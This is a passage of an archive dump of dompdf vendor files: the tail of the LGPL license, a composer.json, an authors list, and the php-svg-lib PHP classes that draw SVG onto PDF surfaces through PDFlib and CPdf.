the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.vendor/dompdf/dompdf/composer.json000066600000002550151150443010013305 0ustar00{
    "name": "dompdf/dompdf",
    "type": "library",
    "description": "DOMPDF is a CSS 2.1 compliant HTML to PDF converter",
    "homepage": "https://github.com/dompdf/dompdf",
    "license": "LGPL-2.1",
    "authors": [
        {
            "name": "The Dompdf Community",
            "homepage": "https://github.com/dompdf/dompdf/blob/master/AUTHORS.md"
        }
    ],
    "autoload": {
        "psr-4": {
            "Dompdf\\": "src/"
        },
        "classmap": [
            "lib/"
        ]
    },
    "autoload-dev": {
        "psr-4": {
            "Dompdf\\Tests\\": "tests/"
        }
    },
    "require": {
        "php": "^7.1 || ^8.0",
        "ext-dom": "*",
        "ext-mbstring": "*",
        "masterminds/html5": "^2.0",
        "dompdf/php-font-lib": "^1.0.0",
        "dompdf/php-svg-lib": "^1.0.0"
    },
    "require-dev": {
        "ext-gd": "*",
        "ext-json": "*",
        "ext-zip": "*",
        "phpunit/phpunit": "^7.5 || ^8 || ^9 || ^10",
        "squizlabs/php_codesniffer": "^3.5",
        "mockery/mockery": "^1.3",
        "symfony/process": "^4.4 || ^5.4 || ^6.2 || ^7.0"
    },
    "suggest": {
        "ext-gd": "Needed to process images",
        "ext-imagick": "Improves image processing performance",
        "ext-gmagick": "Improves image processing performance",
        "ext-zlib": "Needed for pdf stream compression"
    }
}
vendor/dompdf/php-svg-lib/AUTHORS.md000066600000000535151150443010013112 0ustar00SvgLib was designed and developed by Fabien Ménager.

### Current Team

* **Brian Sweeney** (maintainer)

### Alumni

* **Fabien Ménager** (creator)

### Contributors
* **ssddanbrown**
* [and many more...](https://github.com/dompdf/php-svg-lib/graphs/contributors)

### Thanks

SvgLib would not have been possible without strong community support.vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceInterface.php000066600000004102151150443010020275 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Surface;

use Svg\Style;

/**
 * Interface Surface, like CanvasRenderingContext2D
 *
 * @package Svg
 */
interface SurfaceInterface
{
    public function save();

    public function restore();

    // transformations (default transform is the identity matrix)
    public function scale($x, $y);

    public function rotate($angle);

    public function translate($x, $y);

    public function transform($a, $b, $c, $d, $e, $f);

    // path ends
    public function beginPath();

    public function closePath();

    public function fill();

    public function stroke(bool $close = false);

    public function endPath();

    public function fillStroke(bool $close = false);

    public function clip();

    // text (see also the CanvasDrawingStyles interface)
    public function fillText($text, $x, $y, $maxWidth = null);

    public function strokeText($text, $x, $y, $maxWidth = null);

    public function measureText($text);

    // drawing images
    public function drawImage($image, $sx, $sy, $sw = null, $sh = null, $dx = null, $dy = null, $dw = null, $dh = null);

    // paths
    public function lineTo($x, $y);

    public function moveTo($x, $y);

    public function quadraticCurveTo($cpx, $cpy, $x, $y);

    public function bezierCurveTo($cp1x, $cp1y, $cp2x, $cp2y, $x, $y);

    public function arcTo($x1, $y1, $x2, $y2, $radius);

    public function circle($x, $y, $radius);

    public function arc($x, $y, $radius, $startAngle, $endAngle, $anticlockwise = false);

    public function ellipse($x, $y, $radiusX, $radiusY, $rotation, $startAngle, $endAngle, $anticlockwise);

    // Rectangle
    public function rect($x, $y, $w, $h, $rx = 0, $ry = 0);

    public function fillRect($x, $y, $w, $h);

    public function strokeRect($x, $y, $w, $h);

    public function setStyle(Style $style);

    /**
     * @return Style
     */
    public function getStyle();

    public function setFont($family, $style, $weight);
}
vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfacePDFLib.php000066600000026704151150443010017451 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Surface;

use Svg\Style;
use Svg\Document;

class SurfacePDFLib implements SurfaceInterface
{
    const DEBUG = false;

    private $canvas;

    private $width;
    private $height;

    /** @var Style */
    private $style;

    public function __construct(Document $doc, $canvas = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $dimensions = $doc->getDimensions();
        $w = $dimensions["width"];
        $h = $dimensions["height"];

        if (!$canvas) {
            $canvas = new \PDFlib();

            /* all strings are expected as utf8 */
            $canvas->set_option("stringformat=utf8");
            $canvas->set_option("errorpolicy=return");

            /*  open new PDF file; insert a file name to create the PDF on disk */
            if ($canvas->begin_document("", "") == 0) {
                die("Error: " . $canvas->get_errmsg());
            }
            $canvas->set_info("Creator", "PDFlib starter sample");
            $canvas->set_info("Title", "starter_graphics");

            $canvas->begin_page_ext($w, $h, "");
        }

        // Flip PDF coordinate system so that the origin is in
        // the top left rather than the bottom left
        $canvas->setmatrix(
            1, 0,
            0, -1,
            0, $h
        );

        $this->width  = $w;
        $this->height = $h;

        $this->canvas = $canvas;
    }

    function out()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->canvas->end_page_ext("");
        $this->canvas->end_document("");

        return $this->canvas->get_buffer();
    }

    public function save()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->save();
    }

    public function restore()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->restore();
    }

    public function scale($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->scale($x, $y);
    }

    public function rotate($angle)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->rotate($angle);
    }

    public function translate($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->translate($x, $y);
    }

    public function transform($a, $b, $c, $d, $e, $f)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->concat($a, $b, $c, $d, $e, $f);
    }

    public function beginPath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        // TODO: Implement beginPath() method.
    }

    public function closePath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->closepath();
    }

    public function fillStroke(bool $close = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        if ($close) {
            $this->canvas->closepath_fill_stroke();
        } else {
            $this->canvas->fill_stroke();
        }
    }

    public function clip()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->clip();
    }

    public function fillText($text, $x, $y, $maxWidth = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->set_text_pos($x, $y);
        $this->canvas->show($text);
    }

    public function strokeText($text, $x, $y, $maxWidth = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        // TODO: Implement drawImage() method.
    }

    public function drawImage($image, $sx, $sy, $sw = null, $sh = null, $dx = null, $dy = null, $dw = null, $dh = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        if (strpos($image, "data:") === 0) {
            $data = substr($image, strpos($image, ";") + 1);
            if (strpos($data, "base64") === 0) {
                $data = base64_decode(substr($data, 7));
            }
        }
        else {
            $data = file_get_contents($image);
        }

        $image = tempnam(sys_get_temp_dir(), "svg");
        file_put_contents($image, $data);

        $img = $this->canvas->load_image("auto", $image, "");

        $sy = $sy - $sh;
        $this->canvas->fit_image($img, $sx, $sy, 'boxsize={' . "$sw $sh" . '} fitmethod=entire');

        unlink($image);
    }

    public function lineTo($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->lineto($x, $y);
    }

    public function moveTo($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->moveto($x, $y);
    }

    public function quadraticCurveTo($cpx, $cpy, $x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        // FIXME not accurate
        $this->canvas->curveTo($cpx, $cpy, $cpx, $cpy, $x, $y);
    }

    public function bezierCurveTo($cp1x, $cp1y, $cp2x, $cp2y, $x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->curveto($cp1x, $cp1y, $cp2x, $cp2y, $x, $y);
    }

    public function arcTo($x1, $y1, $x2, $y2, $radius)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
    }

    public function arc($x, $y, $radius, $startAngle, $endAngle, $anticlockwise = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->arc($x, $y, $radius, $startAngle, $endAngle);
    }

    public function circle($x, $y, $radius)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->circle($x, $y, $radius);
    }

    public function ellipse($x, $y, $radiusX, $radiusY, $rotation, $startAngle, $endAngle, $anticlockwise)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->ellipse($x, $y, $radiusX, $radiusY);
    }

    public function fillRect($x, $y, $w, $h)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->rect($x, $y, $w, $h);
        $this->fill();
    }

    public function rect($x, $y, $w, $h, $rx = 0, $ry = 0)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $canvas = $this->canvas;

        if ($rx <= 0.000001/* && $ry <= 0.000001*/) {
            $canvas->rect($x, $y, $w, $h);

            return;
        }

        /* Define a path for a rectangle with corners rounded by a given radius.
         * Start from the lower left corner and proceed counterclockwise.
         */
        $canvas->moveto($x + $rx, $y);

        /* Start of the arc segment in the lower right corner */
        $canvas->lineto($x + $w - $rx, $y);

        /* Arc segment in the lower right corner */
        $canvas->arc($x + $w - $rx, $y + $rx, $rx, 270, 360);

        /* Start of the arc segment in the upper right corner */
        $canvas->lineto($x + $w, $y + $h - $rx );

        /* Arc segment in the upper right corner */
        $canvas->arc($x + $w - $rx, $y + $h - $rx, $rx, 0, 90);

        /* Start of the arc segment in the upper left corner */
        $canvas->lineto($x + $rx, $y + $h);

        /* Arc segment in the upper left corner */
        $canvas->arc($x + $rx, $y + $h - $rx, $rx, 90, 180);

        /* Start of the arc segment in the lower left corner */
        $canvas->lineto($x , $y + $rx);

        /* Arc segment in the lower left corner */
        $canvas->arc($x + $rx, $y + $rx, $rx, 180, 270);
    }

    public function fill()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->fill();
    }

    public function strokeRect($x, $y, $w, $h)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->rect($x, $y, $w, $h);
        $this->stroke();
    }

    public function stroke(bool $close = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        if ($close) {
            $this->canvas->closepath_stroke();
        } else {
            $this->canvas->stroke();
        }
    }

    public function endPath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->endPath();
    }

    public function measureText($text)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $style = $this->getStyle();
        $font = $this->getFont($style->fontFamily, $style->fontStyle);

        return $this->canvas->stringwidth($text, $font, $this->getStyle()->fontSize);
    }

    public function getStyle()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        return $this->style;
    }

    public function setStyle(Style $style)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->style = $style;
        $canvas = $this->canvas;

        if (is_array($style->stroke) && $stroke = $style->stroke) {
            $canvas->setcolor(
                "stroke",
                "rgb",
                $stroke[0] / 255,
                $stroke[1] / 255,
                $stroke[2] / 255,
                null
            );
        }

        if (is_array($style->fill) && $fill = $style->fill) {
            $canvas->setcolor(
                "fill",
                "rgb",
                $fill[0] / 255,
                $fill[1] / 255,
                $fill[2] / 255,
                null
            );
        }

        if ($fillRule = strtolower($style->fillRule)) {
            $map = array(
                "nonzero" => "winding",
                "evenodd" => "evenodd",
            );

            if (isset($map[$fillRule])) {
                $fillRule = $map[$fillRule];

                $canvas->set_parameter("fillrule", $fillRule);
            }
        }

        $opts = array();
        if ($style->strokeWidth > 0.000001) {
            $opts[] = "linewidth=$style->strokeWidth";
        }

        if (in_array($style->strokeLinecap, array("butt", "round", "projecting"))) {
            $opts[] = "linecap=$style->strokeLinecap";
        }

        if (in_array($style->strokeLinejoin, array("miter", "round", "bevel"))) {
            $opts[] = "linejoin=$style->strokeLinejoin";
        }

        $canvas->set_graphics_option(implode(" ", $opts));

        $opts = array();
        $opacity = $style->opacity;
        if ($opacity !== null && $opacity < 1.0) {
            $opts[] = "opacityfill=$opacity";
            $opts[] = "opacitystroke=$opacity";
        }
        else {
            $fillOpacity = $style->fillOpacity;
            if ($fillOpacity !== null && $fillOpacity < 1.0) {
                $opts[] = "opacityfill=$fillOpacity";
            }

            $strokeOpacity = $style->strokeOpacity;
            if ($strokeOpacity !== null && $strokeOpacity < 1.0) {
                $opts[] = "opacitystroke=$strokeOpacity";
            }
        }

        if (count($opts)) {
            $gs = $canvas->create_gstate(implode(" ", $opts));
            $canvas->set_gstate($gs);
        }

        $font = $this->getFont($style->fontFamily, $style->fontStyle);
        if ($font) {
            $canvas->setfont($font, $style->fontSize);
        }
    }

    private function getFont($family, $style)
    {
        $map = array(
            "serif"      => "Times",
            "sans-serif" => "Helvetica",
            "fantasy"    => "Symbol",
            "cursive"    => "Times",
            "monospace"  => "Courier",

            "arial"      => "Helvetica",
            "verdana"    => "Helvetica",
        );

        $family = strtolower($family);
        if (isset($map[$family])) {
            $family = $map[$family];
        }

        return $this->canvas->load_font($family, "unicode", "fontstyle=$style");
    }

    public function setFont($family, $style, $weight)
    {
        // TODO: Implement setFont() method.
    }
}
vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php000066600000032607151150443010017264 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Surface;

use Svg\Document;
use Svg\Style;

class SurfaceCpdf implements SurfaceInterface
{
    const DEBUG = false;

    /** @var \Svg\Surface\CPdf */
    private $canvas;

    private $width;
    private $height;

    /** @var Style */
    private $style;

    public function __construct(Document $doc, $canvas = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $dimensions = $doc->getDimensions();
        $w = $dimensions["width"];
        $h = $dimensions["height"];

        if (!$canvas) {
            $canvas = new \Svg\Surface\CPdf(array(0, 0, $w, $h));
            $refl = new \ReflectionClass($canvas);
            $canvas->fontcache = realpath(dirname($refl->getFileName()) . "/../../fonts/")."/";
        }

        // Flip PDF coordinate system so that the origin is in
        // the top left rather than the bottom left
        $canvas->transform(array(
            1,  0,
            0, -1,
            0, $h
        ));

        $this->width  = $w;
        $this->height = $h;

        $this->canvas = $canvas;
    }

    function out()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        return $this->canvas->output();
    }

    public function save()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->save();
    }

    public function restore()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->restore();
    }

    public function scale($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->transform($x, 0, 0, $y, 0, 0);
    }

    public function rotate($angle)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $a = deg2rad($angle);
        $cos_a = cos($a);
        $sin_a = sin($a);

        $this->transform(
            $cos_a,                         $sin_a,
            -$sin_a,                         $cos_a,
            0, 0
        );
    }

    public function translate($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->transform(
            1,  0,
            0,  1,
            $x, $y
        );
    }

    public function transform($a, $b, $c, $d, $e, $f)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->canvas->transform(array($a, $b, $c, $d, $e, $f));
    }

    public function beginPath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        // TODO: Implement beginPath() method.
    }

    public function closePath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->closePath();
    }

    public function fillStroke(bool $close = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->fillStroke($close);
    }

    public function clip()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->clip();
    }

    public function fillText($text, $x, $y, $maxWidth = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->addText($x, $y, $this->style->fontSize, $text);
    }

    public function strokeText($text, $x, $y, $maxWidth = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->addText($x, $y, $this->style->fontSize, $text);
    }

    public function drawImage($image, $sx, $sy, $sw = null, $sh = null, $dx = null, $dy = null, $dw = null, $dh = null)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        if (strpos($image, "data:") === 0) {
            $parts = explode(',', $image, 2);

            $data = $parts[1];
            $base64 = false;

            $token = strtok($parts[0], ';');
            while ($token !== false) {
                if ($token == 'base64') {
                    $base64 = true;
                }

                $token = strtok(';');
            }

            if ($base64) {
                $data = base64_decode($data);
            }
        }
        else {
            $data = file_get_contents($image);
        }

        $image = tempnam(sys_get_temp_dir(), "svg");
        file_put_contents($image, $data);

        $img = $this->image($image, $sx, $sy, $sw, $sh, "normal");


        unlink($image);
    }

    public static function getimagesize($filename)
    {
        static $cache = array();

        if (isset($cache[$filename])) {
            return $cache[$filename];
        }

        list($width, $height, $type) = getimagesize($filename);

        if ($width == null || $height == null) {
            $data = file_get_contents($filename, null, null, 0, 26);

            if (substr($data, 0, 2) === "BM") {
                $meta = unpack('vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight', $data);
                $width = (int)$meta['width'];
                $height = (int)$meta['height'];
                $type = IMAGETYPE_BMP;
            }
        }

        return $cache[$filename] = array($width, $height, $type);
    }

    function image($img, $x, $y, $w, $h, $resolution = "normal")
    {
        list($width, $height, $type) = $this->getimagesize($img);

        switch ($type) {
            case IMAGETYPE_JPEG:
                $this->canvas->addJpegFromFile($img, $x, $y - $h, $w, $h);
                break;

            case IMAGETYPE_GIF:
            case IMAGETYPE_BMP:
                // @todo use cache for BMP and GIF
                $img = $this->_convert_gif_bmp_to_png($img, $type);

            case IMAGETYPE_PNG:
                $this->canvas->addPngFromFile($img, $x, $y - $h, $w, $h);
                break;

            default:
        }
    }

    public function lineTo($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->lineTo($x, $y);
    }

    public function moveTo($x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->moveTo($x, $y);
    }

    public function quadraticCurveTo($cpx, $cpy, $x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        // FIXME not accurate
        $this->canvas->quadTo($cpx, $cpy, $x, $y);
    }

    public function bezierCurveTo($cp1x, $cp1y, $cp2x, $cp2y, $x, $y)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->curveTo($cp1x, $cp1y, $cp2x, $cp2y, $x, $y);
    }

    public function arcTo($x1, $y1, $x2, $y2, $radius)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
    }

    public function arc($x, $y, $radius, $startAngle, $endAngle, $anticlockwise = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->ellipse($x, $y, $radius, $radius, 0, 8, $startAngle, $endAngle, false, false, false, true);
    }

    public function circle($x, $y, $radius)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->ellipse($x, $y, $radius, $radius, 0, 8, 0, 360, true, false, false, false);
    }

    public function ellipse($x, $y, $radiusX, $radiusY, $rotation, $startAngle, $endAngle, $anticlockwise)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->ellipse($x, $y, $radiusX, $radiusY, 0, 8, 0, 360, false, false, false, false);
    }

    public function fillRect($x, $y, $w, $h)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->rect($x, $y, $w, $h);
        $this->fill();
    }

    public function rect($x, $y, $w, $h, $rx = 0, $ry = 0)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $canvas = $this->canvas;

        if ($rx <= 0.000001/* && $ry <= 0.000001*/) {
            $canvas->rect($x, $y, $w, $h);

            return;
        }

        $rx = min($rx, $w / 2);
        $rx = min($rx, $h / 2);

        /* Define a path for a rectangle with corners rounded by a given radius.
         * Start from the lower left corner and proceed counterclockwise.
         */
        $this->moveTo($x + $rx, $y);

        /* Start of the arc segment in the lower right corner */
        $this->lineTo($x + $w - $rx, $y);

        /* Arc segment in the lower right corner */
        $this->arc($x + $w - $rx, $y + $rx, $rx, 270, 360);

        /* Start of the arc segment in the upper right corner */
        $this->lineTo($x + $w, $y + $h - $rx );

        /* Arc segment in the upper right corner */
        $this->arc($x + $w - $rx, $y + $h - $rx, $rx, 0, 90);

        /* Start of the arc segment in the upper left corner */
        $this->lineTo($x + $rx, $y + $h);

        /* Arc segment in the upper left corner */
        $this->arc($x + $rx, $y + $h - $rx, $rx, 90, 180);

        /* Start of the arc segment in the lower left corner */
        $this->lineTo($x , $y + $rx);

        /* Arc segment in the lower left corner */
        $this->arc($x + $rx, $y + $rx, $rx, 180, 270);
    }

    public function fill()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->fill();
    }

    public function strokeRect($x, $y, $w, $h)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->rect($x, $y, $w, $h);
        $this->stroke();
    }

    public function stroke(bool $close = false)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->stroke($close);
    }

    public function endPath()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $this->canvas->endPath();
    }

    public function measureText($text)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        $style = $this->getStyle();
        $this->setFont($style->fontFamily, $style->fontStyle, $style->fontWeight);

        return $this->canvas->getTextWidth($this->getStyle()->fontSize, $text);
    }

    public function getStyle()
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";
        return $this->style;
    }

    public function setStyle(Style $style)
    {
        if (self::DEBUG) echo __FUNCTION__ . "\n";

        $this->style = $style;
        $canvas = $this->canvas;

        if (is_array($style->stroke) && $stroke = $style->stroke) {
            $canvas->setStrokeColor(array((float)$stroke[0]/255, (float)$stroke[1]/255, (float)$stroke[2]/255), true);
        }

        if (is_array($style->fill) && $fill = $style->fill) {
            $canvas->setColor(array((float)$fill[0]/255, (float)$fill[1]/255, (float)$fill[2]/255), true);
        }

        if ($fillRule = strtolower($style->fillRule)) {
            $canvas->setFillRule($fillRule);
        }

        $opacity = $style->opacity;
        if ($opacity !== null && $opacity < 1.0) {
            $canvas->setLineTransparency("Normal", $opacity);
            $canvas->currentLineTransparency = null;

            $canvas->setFillTransparency("Normal", $opacity);
            $canvas->currentFillTransparency = null;
        }
        else {
            $fillOpacity = $style->fillOpacity;
            if ($fillOpacity !== null && $fillOpacity < 1.0) {
                $canvas->setFillTransparency("Normal", $fillOpacity);
                $canvas->currentFillTransparency = null;
            }

            $strokeOpacity = $style->strokeOpacity;
            if ($strokeOpacity !== null && $strokeOpacity < 1.0) {
                $canvas->setLineTransparency("Normal", $strokeOpacity);
                $canvas->currentLineTransparency = null;
            }
        }

        $dashArray = null;
        if ($style->strokeDasharray) {
            $dashArray = preg_split('/\s*,\s*/', $style->strokeDasharray);
        }


        $phase=0;
        if ($style->strokeDashoffset) {
           $phase = $style->strokeDashoffset;
        }


        $canvas->setLineStyle(
            $style->strokeWidth,
            $style->strokeLinecap,
            $style->strokeLinejoin,
            $dashArray,
            $phase
        );

        $this->setFont($style->fontFamily, $style->fontStyle, $style->fontWeight);
    }

    public function setFont($family, $style, $weight)
    {
        $map = [
            "serif"      => "times",
            "sans-serif" => "helvetica",
            "fantasy"    => "symbol",
            "cursive"    => "times",
            "monospace"  => "courier"
        ];

        $styleMap = [
            "courier" => [
                ""   => "Courier",
                "b"  => "Courier-Bold",
                "i"  => "Courier-Oblique",
                "bi" => "Courier-BoldOblique",
            ],
            "helvetica" => [
                ""   => "Helvetica",
                "b"  => "Helvetica-Bold",
                "i"  => "Helvetica-Oblique",
                "bi" => "Helvetica-BoldOblique",
            ],
            "symbol" => [
                "" => "Symbol"
            ],
            "times" => [
                ""   => "Times-Roman",
                "b"  => "Times-Bold",
                "i"  => "Times-Italic",
                "bi" => "Times-BoldItalic",
            ],
        ];

        $family_lc = strtolower($family);
        if (isset($map[$family_lc])) {
            $family = $map[$family_lc];
        }

        if (isset($styleMap[$family])) {
            $key = "";

            $weight = strtolower($weight);
            if ($weight === "bold" || $weight === "bolder" || (is_numeric($weight) && $weight >= 600)) {
                $key .= "b";
            }

            $style = strtolower($style);
            if ($style === "italic" || $style === "oblique") {
                $key .= "i";
            }

            if (isset($styleMap[$family][$key])) {
                $family = $styleMap[$family][$key];
            }
        }

        $this->canvas->selectFont("$family.afm");
    }
}
vendor/dompdf/php-svg-lib/src/Svg/Surface/CPdf.php000066600000651366151150443010015724 0ustar00<?php
/**
 * A PHP class to provide the basic functionality to create a pdf document without
 * any requirement for additional modules.
 *
 * @author  Wayne Munro
